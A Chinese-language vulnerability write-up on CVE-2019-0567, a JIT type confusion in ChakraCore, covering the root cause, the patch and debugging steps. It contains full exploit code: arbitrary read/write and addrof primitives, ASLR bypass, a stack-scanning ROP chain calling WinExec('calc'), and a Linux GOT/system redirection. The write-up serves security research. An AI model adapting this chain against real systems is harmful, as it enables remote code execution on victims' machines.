CVE-2019-0567¶
ChakraCore
InitProto类型混淆漏洞分析、调试过程与复现笔记,感谢 @bjrjk 设计并提供了精巧的利用手段。
基本信息¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2019-0567 |
| 漏洞类型 | Type Confusion |
| 受影响组件 | ChakraCore |
| 复现版本 | 1.11.4 |
| Git Commit | 331aa3931ab69ca2bd64f7e020165e693b8030b5 |
| 调试平台 | Windows 11 专业版 21H2 22000.739 |
| IDE | Visual Studio 2022 |
| 平台工具集 | v143 |
| Linux 调试环境 | Ubuntu / GDB / clang / cmake |
漏洞概览¶
该漏洞的核心在于:JIT 错误地将 InitProto 视为无副作用操作。但在特定路径下,InitProto 实际会触发 type handler 状态变化,并导致对象属性布局从 inline slots 迁移到 aux slots。如果后续仍按旧布局生成属性写入代码,就会把值写到错误位置,最终形成 type confusion。
对应的官方描述为:
NewScObjectNoCtorandInitProtoopcodes are treated as having no side effects, but actually they can have via theSetIsPrototypemethod of the type handler that can cause transition to a new type.
从根因上看,这里不是简单的“某个字段写错了”,而是:
- JIT 还在按旧布局理解对象;
- 运行时对象其实已经发生了 type transition;
- 后续属性写入没有重新验证该布局假设。
预备知识¶
DynamicObject 的布局¶
Memory layout of DynamicObject[4] can be one of the following:
(#1) (#2) (#3)
+--------------+ +--------------+ +--------------+
| vtable, etc. | | vtable, etc. | | vtable, etc. |
|--------------| |--------------| |--------------|
| auxSlots | | auxSlots | | inline slots |
| union | | union | | |
+--------------+ |--------------| | |
| inline slots | | |
+--------------+ +--------------+
The allocation size of inline slots is variable and dependent on profile data for the object.
The offset of the inline slots is managed by DynamicTypeHandler.
More details for the layout scenarios below.
DynamicObject 的属性可存放在两类区域中:
- inline slots:属性直接放在对象本体附近,访问偏移固定,速度快;
- aux slots:属性放到额外分配的 slots 区域,对象中保存指针指向这块区域。
因此,若一个对象在执行过程中发生了 type transition,属性的真实存储位置就可能从 inline 区迁移到 aux 区。如果 JIT 未同步这一事实,就会在旧偏移处执行错误写入。
InitProto 的语义风险¶
InitProto 表面上用于初始化对象原型,但在特定路径下可能触发 type handler 状态变化并影响属性布局,因此不能简单视为无副作用操作。
PoC 与根因分析¶
最小 PoC¶
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, 0x1234);
print(o.a);
}
main();
根因解释¶
opt 函数中最关键的是第二行:
这一步会触发 InitProto 字节码。JIT 在优化 opt 时,把它当作无副作用节点处理,因此没有在后续属性写入 o.a = value 之前插入足够的 layout/check+bailout 保护。
问题在于,执行 InitProto 时,对象 o 的类型处理器可能发生变化,原本按 inline slots 组织的对象会被转成 aux slots 布局。此时:
- 运行时对象的真实布局已经发生变化;
- JIT 代码仍假定
o.a位于旧的 inline 偏移处; - 后续
o.a = value会把值写到错误的位置。
这就形成了典型的 stale layout assumption。
Patch 前后 JIT IR 对比¶
对比 Patch 前后的 JIT IR(左侧为 Patch 后,右侧为 Patch 前):

这里能比较直观看到 patch 的思路:Patch 后在 o.a 的写入前补上了 BailOutOnImplicitCallsPreOp 检查。
也就是说,修复方不再假设 InitProto 一定是“干净”的初始化操作,而是承认它可能带来隐式副作用。一旦这类副作用可能让对象布局失效,就先 bailout,避免继续沿着错误的 JIT 快路径往下执行。
对象布局变化的调试观察¶
这一节主要记录调试时看到的对象布局变化,以及它和后续错误写入之间的对应关系。
初始状态:o.a 与 o.b 都是 inline 属性¶
在如下语句处:
对象 o 的属性 a、b 都以内联方式存放:

进入 JIT 后执行 o.b = 1¶
进入 JITed 的 opt 后,第 1 个属性写是:
此时只是对既有属性 b 的正常更新:

InitProto 触发 type transition¶
随后执行:
这一操作会触发 type transition,把原先 inline slot 中保存的内容迁移到 aux slots:

o.a = value 仍按旧布局写入¶
问题出在下一句:
JIT 仍按“o.a 位于旧 inline 偏移”的假设生成代码,于是把 0x1234 写到了原先 o.a 所在的位置:

但此时对象真实布局已经变化,原位置不再对应 a 属性,因此后续 print(o.a) 会触发异常行为。

从 PoC 到利用原语的扩展¶
这一节主要记录这个漏洞如何从单点错误写入继续扩展成更有价值的利用原语。
预备知识¶
NaN-boxing¶
在多数 64 位 JavaScript 引擎中,除对象指针外,很多值都使用压缩或 tagged 表示。由于虚拟地址空间通常只使用低 48 位,部分高位可用于存储类型 tag。利用过程中如果把原本应为“对象指针”或“带 tag 的值”误当作普通数值写入,就可能在后续解释阶段形成类型错配。
DataView 的利用价值¶
DataView 可对 ArrayBuffer 中的裸字节进行读写,而不是只处理经过 JS tagging 的抽象值。因此一旦可以控制 DataView 关键内部字段(例如其 buffer 指向),就可以进一步构造 任意地址读写。
构造可控对象 obj¶
目标:把原本有限的“错误位置写入”,扩展成对任意 JS 对象内部关键字段的覆盖。
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
o.c = xxx; // obj.auxSlot
}
main();

为了进一步扩大 PoC 的利用能力,需要能够间接控制对象 obj 的 auxSlots。为此,可以给对象 o 额外增加一个属性 c,把原本局限于单一字段的覆盖扩展到更关键的位置。

DataView 任意地址读写原语¶
这一阶段的核心思想是:
- 先构造两个
DataView; - 通过类型混淆把一个对象的关键字段改成另一个
DataView的地址; - 再把第一个
DataView的buffer改成第二个DataView对象地址; - 最终用
setUint32/getUint32间接读写任意地址。
示意图如下:




// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
// Function to convert to hex for memory addresses
function hex(x) {
return x.toString(16).padStart(8, "0");
}
// Arbitrary read function
function read64(lo, hi) {
dataview1.setUint32(0x38, lo, true); // DataView+0x38 = dataview2->buffer
dataview1.setUint32(0x3C, hi, true); // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
var arrayRead = new Uint32Array(0x10);
arrayRead[0] = dataview2.getUint32(0x0, true); // 4-byte arbitrary read
arrayRead[1] = dataview2.getUint32(0x4, true); // 4-byte arbitrary read
// Return the array
return arrayRead;
}
// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
dataview1.setUint32(0x38, lo, true); // DataView+0x38 = dataview2->buffer
dataview1.setUint32(0x3C, hi, true); // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)
// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
dataview2.setUint32(0x0, valLo, true); // 4-byte arbitrary write
dataview2.setUint32(0x4, valHi, true); // 4-byte arbitrary write
}
// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
// main function
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// From here we can call read64() and write64()
}
main();
AddressOf 原语¶
// Function used to set prototype on tmp function to cause type transition on object `o`
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
var o1;
var dataview = new DataView(new ArrayBuffer(0x100));
var o2 = {};
o2.a = 1; o2.b = 2; o2.c = 3; o2.d = 4;
o2.e = 5; o2.f = 6; o2.g = 7; o2.h = {};
o2.i = 9; o2.j = 10;
function prepare() {
for (let i = 0; i < 20000; i++) {
o1 = {a: 1, b: 2};
opt(o1, {}, {});
}
o1 = {a: 1, b: 2};
opt(o1, o1, o2);
o1.c = dataview;
}
prepare();
function addrof(obj) {
let o4 = new Proxy(obj, {});
o2.h = o4;
return dataview.getFloat64(0x28, true);
}
这一阶段的思路是通过可控对象布局泄露目标对象地址,从而构造 addrof 原语。它对后续任意地址读写、模块基址泄露和关键字段定位都很重要。
利用链概览¶
ASLR 绕过¶
利用 DataView 原语先泄露对象的 vftable 指针。由于该地址位于 ChakraCore 模块映像内,因此可用来反推出 ChakraCore.dll 或 libChakraCore.so 的加载基址。
CFI 绕过¶
不依赖传统虚表覆盖去直接劫持间接调用,而是通过覆盖栈上的返回地址并构造 ROP 链绕过控制流保护。
栈地址泄露¶
通过如下链路泄露栈相关地址:
随后结合固定偏移推算当前线程栈底或可扫描区域。
控制流劫持¶
拿到栈区域后,向上扫描返回地址,找到可覆盖的位置,并拼接 ROP 链调用 WinExec("calc", 0)。在 64 位 Windows 下,fastcall 调用约定中前四个参数分别位于:
ROP 栈布局示意:
pop rax ; ret
<0x636c6163> ; "calc"
pop rcx ; ret
<pointer to store calc>
mov qword [rcx], rax ; ret
pop rdx ; ret
<0>
pop rax ; ret
<WinExec address>
jmp rax
示例 gadget:
0x180291dcc: pop rax ; ret ; \x40\x58\xc3
0x1802f86bc: pop rcx ; ret ; \x40\x59\xc3
0x1800d7d57: mov qword [rcx], rax ; ret ; \x48\x89\x01\xc3
0x180e55ac0: pop rdx ; ret ; \x4c\x5a\xc3
0x18007bf4e: jmp rax ; \xff\xe0
调试路径¶
这一节主要记录我自己实际走过的调试路径。相比只看最终崩溃或只看 PoC,我更关心的是:怎么从引擎断点一路走到触发点,再把寄存器、对象地址、auxSlots 和后面的 DataView 原语串起来。
先在 print 回调处拦截¶
第一步可以先在 ChakraCore 源码中的 WScriptJsrt::EchoCallback 打断点,也就是 print 最后会走到的位置。这样比较稳,原因也很直接:
- 能在关键输出点稳定停住
- 可以直接从
arguments里把 JS 层对象地址拿出来
在原生 Helper 上截获 InitProto 引发的布局变化¶
关键断点之一:
这个断点的意义在于,虽然 opt 已经被 JIT 编译成本地机器码,但遇到像 InitProto 这种可能触发布局变换的复杂操作时,JIT 仍会回调到引擎的 C++ helper。命中 AdjustSlots 就说明当前执行路径确实进入了布局调整逻辑。
这时通过:
可以在调用栈中看到一层 JIT 入口,一般表现为匿名地址或 ??。常见栈信息形如:
Js::JavascriptFunction::CallFunction<true>(function=..., entryPoint=0x..., args=..., useLargeArgCount=false)
其中 entryPoint 就是当前 JIT 函数入口地址。
反汇编 JIT 代码¶
拿到 entryPoint 后,可直接反汇编:
这样可以定位到 opt(o, o, obj) 对应的机器码范围,并进一步找到触发布局变化或错误写入的位置。
在错误写入点位打断点¶
例如当定位到如下指令:
可直接在对应偏移下断:
在本漏洞场景中,这类写指令往往对应“JIT 仍按旧布局把值写入旧槽位”的关键时刻。
结合寄存器检查对象与 auxSlots¶
调试时对应的几张关键图¶
rax 代表 o.auxSlots,r10 代表 obj 的起始地址:

此时可以看到 auxSlots 的地址,并继续去看里面存放的 o.a / o.b:

进一步看 r10 和 r11 时,可以把 obj 的起始地址以及更新后的 auxSlots 指针位置对应起来:

继续沿着更新后的指针去读,就能看到对象内容已经被带到新的位置:

因此,可以把调试过程拆成几步:
- 观察写入前
o的原始布局 - 在
AdjustSlots命中后确认布局转换发生 - 在错误写入点读取
rax/r10/r11,对应旧槽位、对象地址和更新后的指针关系。
在 DataView 关键方法上继续打断点¶
为了跟踪利用原语的构造,可以继续设置:
它们分别对应:
dataview.setUint32(...)dataview.getUint32(...)
这两个断点可以把“错误写 → 劫持内部指针 → 形成任意地址读写”的过程接起来。
调试中的关键观察点¶
为什么 0x19ae9c0 很重要¶
0x19ae9c0 是 DataView 的 vtable 在 ChakraCore 模块内的 RVA(相对模块基址偏移)。因此,如果在运行时泄露出 DataView 对象的 vtable 地址,就可以通过:
反推出模块基址。
为什么 info sharedlibrary 的 From 不一定是模块基址¶
例如:
(gdb) info sharedlibrary libChakraCore
From To Syms Read Shared Object Library
0x00007f3a26984540 0x00007f3a280f4dd0 Yes /home/sxy/ChakraCore/cmake-build-debug/libChakraCore.so
这里 From 显示的并不一定是 ELF 映像真正的起始映射地址,它常常只是 GDB 认定的“可执行代码或符号范围起点”。因此在做模块基址推导时,不能机械地把这里的 From 当作 image base,应以:
- 泄露出来的 vtable / 函数地址;
- ELF / PE 文件中已知符号 RVA;
info proc mappings、readelf、objdump等信息;
进行交叉验证,而不要直接把 From 当作 image base。
通过 print 参数拿到 Proxy 对象地址¶
调试 WScript.Echo("HIT", p) 这类代码时,可以在 EchoCallback 断住后直接从参数数组中取 JS 对象:
# arguments 是 WScript.Echo 的参数数组,arguments[1] 就是第二个参数(即 p)
(gdb) set $argv = (void**)arguments
(gdb) p/x $argv[1]
# 转成 JavascriptProxy 指针
(gdb) set $p = (Js::JavascriptProxy*)$argv[1]
# 可选:看类型
(gdb) p $p->GetTypeId()
然后通过成员偏移读取内部字段:
(gdb) p/x (size_t)&((Js::JavascriptProxy*)0)->target
(gdb) p/x (size_t)&((Js::JavascriptProxy*)0)->handler
(gdb) p/x (size_t)&((Js::JavascriptProxy*)0)->revoked
(gdb) p/d sizeof(Js::JavascriptProxy)
对应的调试截图如下:

Linux 下基于 GOT / libc 的后续利用思路¶
除 Windows ROP 方案外,这里补充 Linux 下围绕 GOT / libc 的一条典型调试思路,用于说明任意地址读写拿到后,如何进一步联动动态链接结构。
观察 libc / ChakraCore 的映射¶
可用于查看进程中 libc、libChakraCore.so 等模块的加载基址范围。
用 readelf 查找 memmove 的 GOT 槽偏移¶
readelf -rW /home/sxy/ChakraCore/cmake-build-debug/libChakraCore.so | grep -E 'JUMP_SLOT|GLOB_DAT' | grep memmove
示例输出:
第一列 Offset 就是 GOT 槽相对模块基址的偏移。
在 GDB 中确认符号运行时地址¶
这样可以得到:
system的运行时地址;memmove的运行时地址;- 二者在当前 libc 中的真实偏移关系。
由 GOT 槽地址推出真实函数地址¶
如果已知:
libChakraCore.so基址;memmoveGOT 槽偏移;
就可以先算 GOT 位置,再读出当前 GOT 中保存的真实函数地址。
样例代码:
const memmove_got_off = 0x021c30a8;
const system_addr2memmove_addr_offset = 0x01c8f378;
const [memmove_gotlo, memmove_gothi] = add64(chakraLo, chakraHi, memmove_got_off, offHi);
const [system_addrlo, system_addrhi] = add64(memmove_gotlo, memmove_gothi, system_addr2memmove_addr_offset, offHi);
其本质是:
- 先定位 GOT 槽;
- 再根据实验确认的相对偏移推导出
system地址; - 最终可在研究中验证“任意地址写是否足以重定向关键 GOT 项”。
完整复现源码¶
下面保留原始复现实验代码,便于后续单独取用或在调试器中直接运行。
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
// Function to convert to hex for memory addresses
function hex(x) {
return x.toString(16).padStart(8, "0");
}
// Arbitrary read function
function read64(lo, hi) {
dataview1.setUint32(0x38, lo, true); // DataView+0x38 = dataview2->buffer
dataview1.setUint32(0x3C, hi, true); // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
var arrayRead = new Uint32Array(0x10);
arrayRead[0] = dataview2.getInt32(0x0, true); // 4-byte arbitrary read
arrayRead[1] = dataview2.getInt32(0x4, true); // 4-byte arbitrary read
// Return the array
return arrayRead;
}
// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
dataview1.setUint32(0x38, lo, true); // DataView+0x38 = dataview2->buffer
dataview1.setUint32(0x3C, hi, true); // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)
// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
dataview2.setUint32(0x0, valLo, true); // 4-byte arbitrary write
dataview2.setUint32(0x4, valHi, true); // 4-byte arbitrary write
}
// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
// main function
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// dataview1 methods act on dataview2 object
// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
vtableLo = dataview1.getUint32(0x0, true);
vtableHigh = dataview1.getUint32(0x4, true);
// Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
// ... type->javascriptLibrary->scriptContext->threadContext
typeLo = dataview1.getUint32(0x8, true);
typeHigh = dataview1.getUint32(0xC, true);
// Print update
print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
print("[+] dataview1->type: 0x" + hex(typeHigh) + hex(typeLo));
// Store the base of chakracore.dll
chakraLo = vtableLo - 0x19ae9c0;
chakraHigh = vtableHigh;
// Print update
print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
// Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
iatEntry = read64(chakraLo+0x17AE000+0x40, chakraHigh); // KERNEL32!RaiseExceptionStub pointer
// Store the upper part of kernel32.dll
kernel32High = iatEntry[1];
// Store the lower part of kernel32.dll
kernel32Lo = iatEntry[0] - 0x1be40;
// Print update
print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
// Leak type->javascriptLibrary (located at type+0x8)
javascriptLibrary = read64(typeLo+0x8, typeHigh);
// Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);
// Leak type->javascripLibrary->scriptContext->threadContext
threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);
// Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);
// Print update
print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));
// Compute the stack limit for the current thread and store it in an array
var stackLeak = new Uint32Array(0x10);
stackLeak[0] = stackAddress[0] + 0xec000;
stackLeak[1] = stackAddress[1];
// Print update
print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));
// Scan the stack
// Counter variable
let counter = 0;
// Store our target return address
var retAddr = new Uint32Array(0x10);
retAddr[0] = chakraLo + 0x1753c30;
retAddr[1] = chakraHigh;
// Loop until we find our target address
while (true)
{
// Store the contents of the stack
tempContents = read64(stackLeak[0]+counter, stackLeak[1]);
// Did we find our target return address?
if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
{
// print update
print("[+] Found the target return address on the stack!");
// stackLeak+counter will now contain the stack address which contains the target return address
// We want to use our arbitrary write primitive to overwrite this stack address with our own value
print("[+] Target return address: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]+counter));
// Break out of the loop
break;
}
// Increment the counter if we didn't find our target return address
counter += 0x8;
}
print("[+] Before ROP Chain:");
//write64(stackLeak[0]+counter, stackLeak[1], 0xdeadbeef, 0xdeadbeef);
// Begin ROP chain
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x291dcc, chakraHigh); // pop rax ; ret
counter += 0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000); // calc
counter += 0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x2f86bc, chakraHigh); // pop rcx ; ret
counter += 0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c75000, chakraHigh); // Empty address in .data of chakracore.dll
counter += 0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7d57, chakraHigh); // mov qword [rcx], rax ; ret
counter += 0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xe55ac0, chakraHigh); // pop rdx ; ret
counter += 0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x00000000, 0x00000000); // 0
counter += 0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x291dcc, chakraHigh); // pop rax ; ret
counter += 0x8;
write64(stackLeak[0]+counter, stackLeak[1], kernel32Lo+0x64d70, kernel32High); // KERNEL32!WinExec address
counter += 0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x7bf4e, chakraHigh); // jmp rax
counter += 0x8;
}
main();